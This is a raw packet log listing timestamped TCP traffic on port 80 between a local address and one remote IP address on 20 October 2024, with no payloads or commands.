Oct 20, 2024 23:43:13.082269907 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.082274914 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.082290888 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.082303047 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.082313061 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.082323074 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.082328081 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.082328081 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.082328081 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.082334042 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.082348108 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.082356930 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.082367897 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.082377911 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.082390070 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.082400084 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.082407951 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.082407951 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.082407951 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.082410097 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.082425117 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.082437992 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.082448006 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.082459927 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.082483053 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.082483053 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.082483053 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.082534075 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.082758904 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.082770109 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.082776070 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.082781076 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.082784891 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.082789898 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.082799911 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.082803965 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.082818031 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.082828999 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.082839012 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.082849979 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.082861900 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.082873106 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.082884073 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.082895041 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.082905054 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.082915068 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.082915068 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.082915068 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.082917929 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.082931995 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.082937002 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.082946062 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.082957983 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.082968950 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.082979918 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.082981110 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.082981110 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.082981110 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.082993984 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.083035946 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.083035946 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.083084106 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.083203077 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.083214998 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.083224058 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.083235025 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.083245039 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.083260059 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.083312988 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.083372116 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.083388090 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.083419085 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.083419085 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.083431959 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.083445072 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.083457947 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.083467960 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.083473921 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.083478928 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.083487034 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.083491087 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.083491087 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.083491087 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.083504915 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.083515882 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.083525896 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.083535910 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.083548069 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.083556890 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.083556890 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.083559036 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.083571911 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.083580971 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.083590984 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.083602905 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.083611965 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.083622932 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.083635092 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.083642006 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.083642006 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.083642006 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.083647013 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.083658934 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.083658934 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.083669901 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.083681107 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.083689928 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.083734035 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.083734035 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.083734035 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.084131956 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.084142923 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.084153891 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.084165096 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.084175110 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.084188938 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.084198952 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.084201097 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.084211111 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.084220886 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.084229946 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.084239006 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.084243059 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.084249020 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.084254026 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.084258080 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.084263086 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.084261894 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.084273100 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.084290981 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.084295034 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.084309101 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.084319115 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.084322929 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.084336042 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.084347010 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.084356070 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.084367990 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.084369898 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.084379911 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.084391117 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.084399939 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.084410906 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.084422112 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.084434032 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.084434986 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.084434986 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.084434986 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.084445953 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.084456921 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.084470034 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.084500074 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.084500074 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.084500074 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.084520102 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.084831953 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.084841967 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.084852934 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.084867001 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.084877014 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.084887981 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.084891081 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.084898949 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.084908962 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.084920883 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.084932089 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.084974051 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.084974051 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.084974051 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.085010052 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085021019 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085030079 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085040092 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085051060 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085062027 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085072994 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085081100 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.085081100 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.085081100 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.085083961 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085095882 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085100889 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085104942 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085109949 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085114956 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085136890 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085146904 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085154057 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.085154057 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.085154057 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.085156918 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085169077 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085180998 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085191011 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085201025 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085206032 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.085206032 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.085212946 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085222960 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085227013 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.085233927 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085244894 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085253954 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085263014 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085272074 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.085272074 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.085277081 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085289955 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085299969 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085308075 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.085308075 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.085351944 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.085741997 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085752964 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085762024 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085773945 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085783958 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085793972 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085804939 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085808992 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.085818052 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085824966 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.085830927 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085836887 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085860968 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.085882902 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085894108 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085902929 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085902929 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.085912943 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085923910 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085935116 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085946083 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085956097 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085967064 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085977077 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.085977077 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085977077 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.085977077 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.085989952 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.085995913 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.086004019 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.086081982 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.086081982 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.224148989 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.224318981 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.224901915 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.224912882 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.225027084 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.228595018 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.228605032 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.228677034 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.232325077 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.232336998 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.232475996 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.236287117 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.236299992 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.236411095 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.236411095 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.239456892 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.239469051 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.239478111 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.239590883 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.239590883 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.242688894 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.242700100 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.242784023 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.245861053 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.245892048 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.246001959 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.248970985 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.248982906 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.249124050 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.251895905 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.251908064 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.251918077 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.252099037 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.252099037 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.254803896 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.254815102 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.254889965 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.257622957 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.257642984 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.257744074 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.260667086 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.260679007 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.260863066 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.263247967 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.263259888 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.263273001 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.263319016 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.263370991 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.265746117 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.265758038 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.265827894 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.268132925 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.268150091 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.268235922 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.270498991 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.270512104 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.270560980 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.273158073 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.273169994 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.273284912 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.275289059 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.275301933 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.275311947 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.275414944 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.275414944 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.277754068 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.277767897 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.277779102 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.277920008 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.277920008 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.279834032 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.279848099 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.280111074 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.281831980 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.281842947 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.281851053 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.281908989 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.281989098 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.283893108 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.283904076 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.283967972 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.285970926 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.285984039 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.286159039 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.287879944 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.287892103 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:13.287959099 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.288024902 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:13.289959908 CEST	80	49708	185.215.113.37	192.168.2.11
